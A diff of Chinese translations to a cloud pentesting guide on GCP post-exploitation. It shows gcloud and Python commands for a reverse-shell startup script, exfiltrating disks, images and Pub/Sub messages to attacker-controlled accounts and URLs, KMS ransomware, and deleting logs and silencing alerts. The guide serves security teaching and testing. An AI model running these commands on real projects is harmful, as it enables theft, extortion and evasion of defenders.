无法直接导出快照和磁盘,但可以 **将快照转换为磁盘,将磁盘转换为映像**,并按照 **前一部分**,将该映像导出以便在本地检查。
|
||||
无法直接导出快照和磁盘,但可以 **将快照转换为磁盘,将磁盘转换为镜像**,并按照 **上一节**,导出该镜像以在本地进行检查
|
||||
|
||||
<details>
|
||||
|
||||
<summary>从 snapshot 创建磁盘并从磁盘创建镜像</summary>
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
### 检查创建虚拟机的镜像
|
||||
</details>
|
||||
|
||||
为了访问**存储在镜像中的数据**或**运行中的虚拟机**,攻击者**创建了一个镜像**,可以授予外部账户对该镜像的访问权限:
|
||||
### 检查用于创建 VM 的 image
|
||||
|
||||
为了访问**存储在 image 中的数据**,或访问攻击者**已创建 image,** 的**正在运行的 VM**内部的数据,可以将对该 image 的访问权限授予外部账户:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>授予对 image 的访问并创建 VM</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
然后从中创建一个新的虚拟机:
|
||||
</details>
|
||||
|
||||
然后从它创建一个新的 VM:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>从镜像创建 VM 实例</summary>
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
如果您无法通过镜像授予外部帐户访问权限,您可以在受害者的项目中使用该镜像启动一个虚拟机,并**使元数据执行反向 shell**以访问镜像,添加参数:
|
||||
</details>
|
||||
|
||||
如果你无法为你的外部账户通过 image 授予访问,你可以在受害者项目中使用该 image 启动一个 VM,并**让元数据执行 reverse shell**来访问该 image,添加参数:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>在元数据中创建带 reverse shell 的 VM</summary>
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
### 检查快照/磁盘并将其附加到虚拟机
|
||||
</details>
|
||||
|
||||
为了访问**存储在磁盘或快照中的数据,您可以将快照转换为磁盘,将磁盘转换为映像,并遵循之前的步骤。**
|
||||
### 检查快照/磁盘并将其附加到 VM
|
||||
|
||||
或者您可以**授予外部帐户对磁盘的访问权限**(如果起点是快照,则授予对快照的访问权限或从中创建磁盘):
|
||||
为了访问**磁盘或快照中存储的数据,您可以将快照转换为磁盘,或将磁盘转换为镜像,然后按照前面的步骤操作。**
|
||||
|
||||
或者您可以**将对磁盘的访问权限授予外部账户**(如果起点是快照,请对快照授予访问权限或先从快照创建磁盘):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>授予磁盘访问权限</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
**将磁盘** 附加到实例:
|
||||
</details>
|
||||
|
||||
**附加磁盘** 到实例:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>将磁盘附加到实例</summary>
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
挂载磁盘到虚拟机内:
|
||||
</details>
|
||||
|
||||
1. **SSH 进入虚拟机**:
|
||||
在 VM 内挂载磁盘:
|
||||
|
||||
1. **SSH 进入 VM**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>SSH 到 VM 并挂载磁盘</summary>
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **识别磁盘**:进入虚拟机后,通过列出磁盘设备来识别新磁盘。通常可以找到它作为 `/dev/sdb`、`/dev/sdc` 等。
|
||||
3. **格式化并挂载磁盘**(如果是新磁盘或原始磁盘):
|
||||
</details>
|
||||
|
||||
2. **识别磁盘**:进入 VM 后,通过列出磁盘设备来识别新磁盘。通常,你会看到 `/dev/sdb`、`/dev/sdc` 等设备。
|
||||
3. **格式化并挂载磁盘**(如果它是新的或原始磁盘):
|
||||
|
||||
- 创建挂载点:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建挂载点并挂载</summary>
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- 挂载磁盘:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>挂载磁盘设备</summary>
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
如果您**无法将快照或磁盘的访问权限授予外部项目**,您可能需要**在与快照/磁盘相同项目的实例内执行这些操作**。
|
||||
</details>
|
||||
|
||||
如果你**无法向外部项目授予**对快照或磁盘的访问权限,你可能需要**在与快照/磁盘相同项目的实例内执行这些操作**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-8
@@ -1,10 +1,10 @@
|
||||
# GCP - Filestore 后期利用
|
||||
# GCP - Filestore 后渗透
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Filestore
|
||||
|
||||
有关 Filestore 的更多信息,请查看:
|
||||
有关 Filestore 的更多信息,请参见:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
@@ -12,7 +12,11 @@
|
||||
|
||||
### 挂载 Filestore
|
||||
|
||||
一个共享文件系统 **可能包含敏感信息**,从攻击者的角度来看非常有趣。访问 Filestore 后,可以 **挂载它**:
|
||||
共享文件系统**可能包含敏感信息**,对攻击者很有价值。获得对 Filestore 的访问后,可以**挂载它**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>挂载 Filestore 文件系统</summary>
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
@@ -22,7 +26,9 @@ showmount -e <IP>
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
要查找 filestore 实例的 IP 地址,请检查页面的枚举部分:
|
||||
</details>
|
||||
|
||||
要查找 filestore instance 的 IP address,请查看该页面的 enumeration 部分:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
@@ -30,7 +36,11 @@ sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
|
||||
### 移除限制并获取额外权限
|
||||
|
||||
如果攻击者不在具有共享访问权限的 IP 地址上,但您有足够的权限进行修改,则可以移除对其的限制或访问权限。还可以授予您的 IP 地址更多权限,以获得对共享的管理员访问权限:
|
||||
如果攻击者不在对该 share 有访问权限的 IP address 上,但你有足够的 permissions 来修改它,则可以移除该访问限制或更改访问控制。也可以为你的 IP address 授予更多权限,从而获得对该 share 的 admin access:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Update Filestore instance to allow access</summary>
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### 恢复备份
|
||||
|
||||
如果有备份,可以在现有实例或新实例中**恢复它**,以便其**信息变得可访问:**
|
||||
如果存在备份,可以将其**恢复**到现有实例或新实例,从而使其**信息可被访问:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建新实例并恢复备份</summary>
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
@@ -76,9 +92,15 @@ gcloud filestore instances restore <new-instance-name> \
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
### 创建备份并恢复
|
||||
</details>
|
||||
|
||||
如果您**无法访问共享并且不想修改它**,可以**创建备份**并**恢复**它,如前所述:
|
||||
### 创建备份并恢复它
|
||||
|
||||
如果你**无法通过共享访问并且不想修改它**,可以对其**创建备份**并按之前所述**恢复**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>在新实例中创建备份并恢复</summary>
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
@@ -89,4 +111,6 @@ gcloud filestore backups create <back-name> \
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+14
-8
@@ -1,27 +1,33 @@
|
||||
# GCP - IAM 后渗透
|
||||
# GCP - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
您可以在以下位置找到有关 IAM 的更多信息:
|
||||
You can find further information about IAM in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 授予管理控制台访问权限 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
### 授予对管理控制台的访问权限 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
对 [GCP 管理控制台](https://console.cloud.google.com) 的访问是 **提供给用户帐户,而不是服务帐户**。要登录到 Web 界面,您可以 **授予您控制的 Google 帐户访问权限**。这可以是一个通用的 "**@gmail.com**" 帐户,它 **不必是目标组织的成员**。
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
|
||||
|
||||
不过,要 **授予** 通用 "@gmail.com" 帐户 **所有者** 的基本角色,您需要 **使用 Web 控制台**。如果您尝试授予高于编辑者的权限,`gcloud` 将会出错。
|
||||
不过,要将原始角色 **Owner** 授予一个通用的“@gmail.com”账户,你需要**使用 web 控制台**。`gcloud` 会在你尝试授予超过 Editor 的权限时报错。
|
||||
|
||||
您可以使用以下命令 **将基本角色编辑者授予您现有项目的用户**:
|
||||
你可以使用以下命令将原始角色 **Editor** 授予你现有项目的某个用户:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>授予用户 Editor 角色</summary>
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
如果你在这里成功了,尝试 **访问网络界面** 并从那里进行探索。
|
||||
</details>
|
||||
|
||||
这是 **使用 gcloud 工具可以分配的最高级别**。
|
||||
如果你在这里成功,尝试 **访问 web 界面** 并从那里进行探索。
|
||||
|
||||
这是 **你可以使用 gcloud tool 分配的最高级别**。
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+42
-12
@@ -1,10 +1,10 @@
|
||||
# GCP - KMS 后期利用
|
||||
# GCP - KMS 权限利用后操作
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
查找有关 KMS 的基本信息:
|
||||
Find basic information about KMS in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
@@ -12,7 +12,11 @@
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
拥有此权限的攻击者可以销毁 KMS 版本。要做到这一点,您首先需要禁用密钥,然后销毁它:
|
||||
拥有此权限的攻击者可以销毁 KMS 版本。为此,您需要先禁用密钥,然后销毁它:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>禁用并销毁密钥版本 (Python)</summary>
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
### KMS 勒索软件
|
||||
</details>
|
||||
|
||||
在 AWS 中,可以通过修改 KMS 资源策略并仅允许攻击者账户使用密钥来完全 **窃取 KMS 密钥**。由于 GCP 中不存在这些资源策略,因此这是不可能的。
|
||||
### KMS Ransomware
|
||||
|
||||
然而,还有另一种执行全球 KMS 勒索软件的方法,这将涉及以下步骤:
|
||||
在 AWS 中,可以通过修改 KMS 资源策略并仅允许攻击者的账号使用该密钥,从而完全 **steal a KMS key**。由于 GCP 中不存在这些资源策略,因此在 GCP 中无法实现。
|
||||
|
||||
- 创建一个新的 **版本的密钥,使用攻击者导入的密钥材料**
|
||||
然而,还有另一种方式可以实施全局 KMS Ransomware,大致包含以下步骤:
|
||||
|
||||
- 创建一个新的 **密钥版本(密钥材料由攻击者导入)**
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
- 将其设置为 **默认版本**(用于未来加密的数据)
|
||||
- **使用新版本重新加密** 以前版本加密的旧数据。
|
||||
- **删除 KMS 密钥**
|
||||
- 现在只有拥有原始密钥材料的攻击者才能解密加密数据
|
||||
- 将其设置为 **默认版本**(用于将来被加密的数据)
|
||||
- **重新加密旧数据**,将使用先前版本加密的旧数据用新版本重新加密。
|
||||
- **删除 KMS key**
|
||||
- 现在只有拥有原始密钥材料的攻击者才能解密这些被加密的数据
|
||||
|
||||
#### 导入新版本并禁用/删除旧数据的步骤如下:
|
||||
#### 以下是导入新版本并禁用/删除旧数据的步骤:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>导入新密钥版本并删除旧版本</summary>
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
|
||||
--version 1
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用对称密钥加密数据 (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import base64
|
||||
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
|
||||
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
|
||||
print('Ciphertext:', ciphertext)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToSign`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用非对称密钥签名消息(Python)</summary>
|
||||
```python
|
||||
import hashlib
|
||||
from google.cloud import kms
|
||||
@@ -215,7 +237,13 @@ message = 'your-message'
|
||||
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
|
||||
print('Signature:', signature)
|
||||
```
|
||||
</details>
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.useToVerify`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使用非对称密钥验证签名 (Python)</summary>
|
||||
```python
|
||||
from google.cloud import kms
|
||||
import hashlib
|
||||
@@ -242,4 +270,6 @@ return verify_response.success
|
||||
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
|
||||
print('Verified:', verified)
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+79
-7
@@ -1,30 +1,34 @@
|
||||
# GCP - 日志后渗透
|
||||
# GCP - Logging Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本信息
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请查看:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
{{#endref}}
|
||||
|
||||
有关其他干扰监控的方法,请查看:
|
||||
有关其他中断监控的方法,请查看:
|
||||
|
||||
{{#ref}}
|
||||
gcp-monitoring-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### 默认日志
|
||||
### 默认日志记录
|
||||
|
||||
**默认情况下,仅执行读取操作不会被捕获。有关更多信息,请查看日志枚举部分。**
|
||||
**默认情况下,仅执行读取操作通常不会被发现。更多信息请参见 Logging Enum 部分。**
|
||||
|
||||
### 添加例外主体
|
||||
### 添加被排除的主体
|
||||
|
||||
在 [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 和 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) 中,可以添加主体以不生成日志。攻击者可以利用这一点来防止被捕获。
|
||||
在 [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) 和 [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) 可以添加主体以使其不生成日志。攻击者可能滥用此功能以避免被发现。
|
||||
|
||||
### 读取日志 - `logging.logEntries.list`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>读取日志条目</summary>
|
||||
```bash
|
||||
# Read logs
|
||||
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
|
||||
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
|
||||
|
||||
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logs.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除日志条目</summary>
|
||||
```bash
|
||||
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
|
||||
gcloud logging logs delete <log-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### 写入日志 - `logging.logEntries.create`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>写入日志条目</summary>
|
||||
```bash
|
||||
# Write a log entry to try to disrupt some system
|
||||
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新日志存储桶保留期限</summary>
|
||||
```bash
|
||||
# Set retention period to 1 day (_Required has a fixed one of 400days)
|
||||
|
||||
gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.buckets.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除日志存储桶</summary>
|
||||
```bash
|
||||
# Delete log bucket
|
||||
gcloud logging buckets delete BUCKET_NAME --location=<location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.links.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除日志链接</summary>
|
||||
```bash
|
||||
# Delete link
|
||||
gcloud logging links delete <link-id> --bucket <bucket> --location <location>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除 logging 视图</summary>
|
||||
```bash
|
||||
# Delete a logging view to remove access to anyone using it
|
||||
gcloud logging views delete <view-id> --bucket=<bucket> --location=global
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.views.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新 logging view 以隐藏数据</summary>
|
||||
```bash
|
||||
# Update a logging view to hide data
|
||||
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新基于日志的指标</summary>
|
||||
```bash
|
||||
# Update log based metrics - logging.logMetrics.update
|
||||
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.logMetrics.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除基于日志的指标</summary>
|
||||
```bash
|
||||
# Delete log based metrics - logging.logMetrics.delete
|
||||
gcloud logging metrics delete <metric-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.delete`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除 log sink</summary>
|
||||
```bash
|
||||
# Delete sink - logging.sinks.delete
|
||||
gcloud logging sinks delete <sink-name>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `logging.sinks.update`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新/中断 log sink</summary>
|
||||
```bash
|
||||
# Disable sink - logging.sinks.update
|
||||
gcloud logging sinks update <sink-name> --disabled
|
||||
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
|
||||
gcloud logging sinks update SINK_NAME --use-partitioned-tables
|
||||
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+57
-9
@@ -1,16 +1,16 @@
|
||||
# GCP - 监控后渗透
|
||||
# GCP - Monitoring Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 监控
|
||||
|
||||
有关更多信息,请查看:
|
||||
更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-monitoring-enum.md
|
||||
{{#endref}}
|
||||
|
||||
有关其他干扰日志的方法,请查看:
|
||||
关于其他干扰日志的方法,请参见:
|
||||
|
||||
{{#ref}}
|
||||
gcp-logging-post-exploitation.md
|
||||
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
|
||||
|
||||
### `monitoring.alertPolicies.delete`
|
||||
|
||||
删除警报策略:
|
||||
删除 alert policy:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除 alert policy</summary>
|
||||
```bash
|
||||
gcloud alpha monitoring policies delete <policy>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.alertPolicies.update`
|
||||
|
||||
破坏警报策略:
|
||||
中断警报策略:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>中断警报策略</summary>
|
||||
```bash
|
||||
# Disable policy
|
||||
gcloud alpha monitoring policies update <alert-policy> --no-enabled
|
||||
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update <alert-policy> --set-notification-channe
|
||||
gcloud alpha monitoring policies update <alert-policy> --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
|
||||
# or use --policy-from-file <policy-file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.update`
|
||||
|
||||
修改仪表板以干扰它:
|
||||
修改仪表板以使其失效:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>使仪表板失效</summary>
|
||||
```bash
|
||||
# Disrupt dashboard
|
||||
gcloud monitoring dashboards update <dashboard> --config='''
|
||||
@@ -53,16 +69,28 @@ widgets:
|
||||
content: Hello World
|
||||
'''
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.dashboards.delete`
|
||||
|
||||
删除仪表板:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除仪表板</summary>
|
||||
```bash
|
||||
# Delete dashboard
|
||||
gcloud monitoring dashboards delete <dashboard>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.create`
|
||||
|
||||
通过创建一个 snoozer 来防止策略生成警报:
|
||||
通过创建 snoozer 来阻止策略生成告警:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建 snoozer 以停止告警</summary>
|
||||
```bash
|
||||
# Stop alerts by creating a snoozer
|
||||
gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
|
||||
--start-time="2023-03-01T03:00:00.0-0500" \
|
||||
--end-time="2023-03-07T23:59:59.5-0500"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.snoozes.update`
|
||||
|
||||
更新 snoozer 的时间,以防止在攻击者感兴趣时创建警报:
|
||||
更新 snoozer 的时间设置,以防止在 attacker 感兴趣的时间段内创建警报:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新 snoozer 的时间设置</summary>
|
||||
```bash
|
||||
# Modify the timing of a snooze
|
||||
gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END_TIME
|
||||
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update <snooze> --start-time=START_TIME --end-time=END
|
||||
# odify everything, including affected policies
|
||||
gcloud monitoring snoozes update <snooze> --snooze-from-file=<file>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.delete`
|
||||
|
||||
删除已配置的通道:
|
||||
删除已配置的通知通道:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除通知通道</summary>
|
||||
```bash
|
||||
# Delete channel
|
||||
gcloud alpha monitoring channels delete <channel>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `monitoring.notificationChannels.update`
|
||||
|
||||
更新通道的标签以干扰它:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>更新通知通道标签</summary>
|
||||
```bash
|
||||
# Delete or update labels, for example email channels have the email indicated here
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
|
||||
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+78
-18
@@ -1,10 +1,10 @@
|
||||
# GCP - Pub/Sub 后期利用
|
||||
# GCP - Pub/Sub 后利用
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pub/Sub
|
||||
|
||||
有关 Pub/Sub 的更多信息,请查看以下页面:
|
||||
有关 Pub/Sub 的更多信息,请参阅以下页面:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-pub-sub.md
|
||||
@@ -12,40 +12,68 @@
|
||||
|
||||
### `pubsub.topics.publish`
|
||||
|
||||
在主题中发布消息,适用于**发送意外数据**并触发意外功能或利用漏洞:
|
||||
在主题中发布消息,有助于 **发送意外数据**、触发意外功能或利用漏洞:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>向主题发布消息</summary>
|
||||
```bash
|
||||
# Publish a message in a topic
|
||||
gcloud pubsub topics publish <topic_name> --message "Hello!"
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.detachSubscription`
|
||||
|
||||
有助于防止订阅接收消息,可能是为了避免被检测。
|
||||
可用于阻止订阅接收消息,可能用于规避检测。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>将订阅从主题分离</summary>
|
||||
```bash
|
||||
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.delete`
|
||||
|
||||
有助于防止订阅接收消息,可能是为了避免被检测。\
|
||||
即使有订阅附加到主题上,也可以删除该主题。
|
||||
可用于阻止 subscription 接收消息,可能用于避免检测。\
|
||||
即使有 subscriptions 附着在 topic 上,也可以删除该 topic。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>删除 topic</summary>
|
||||
```bash
|
||||
gcloud pubsub topics delete <TOPIC NAME>
|
||||
```
|
||||
</details>
|
||||
|
||||
### `pubsub.topics.update`
|
||||
|
||||
使用此权限更新主题的一些设置以干扰它,例如 `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`...
|
||||
使用此权限可以更新 topic 的某些设置以扰乱它,例如 `--clear-schema-settings`、`--message-retention-duration`、`--message-storage-policy-allowed-regions`、`--schema`、`--schema-project`、`--topic-encryption-key`...
|
||||
|
||||
### `pubsub.topics.setIamPolicy`
|
||||
|
||||
授予自己执行任何先前攻击的权限。
|
||||
为自己授予权限以执行之前的任何攻击。
|
||||
|
||||
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
|
||||
|
||||
获取网络服务器中的所有消息:
|
||||
在 Web 服务器上获取所有消息:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建 push subscription 以接收消息</summary>
|
||||
```bash
|
||||
# Crete push subscription and recieve all the messages instantly in your web server
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>
|
||||
```
|
||||
创建一个订阅并使用它来 **拉取消息**:
|
||||
</details>
|
||||
|
||||
创建一个订阅并使用它来 **pull messages**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>创建 pull subscription 并检索消息</summary>
|
||||
```bash
|
||||
# This will retrive a non ACKed message (and won't ACK it)
|
||||
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
@@ -54,26 +82,44 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic_name>
|
||||
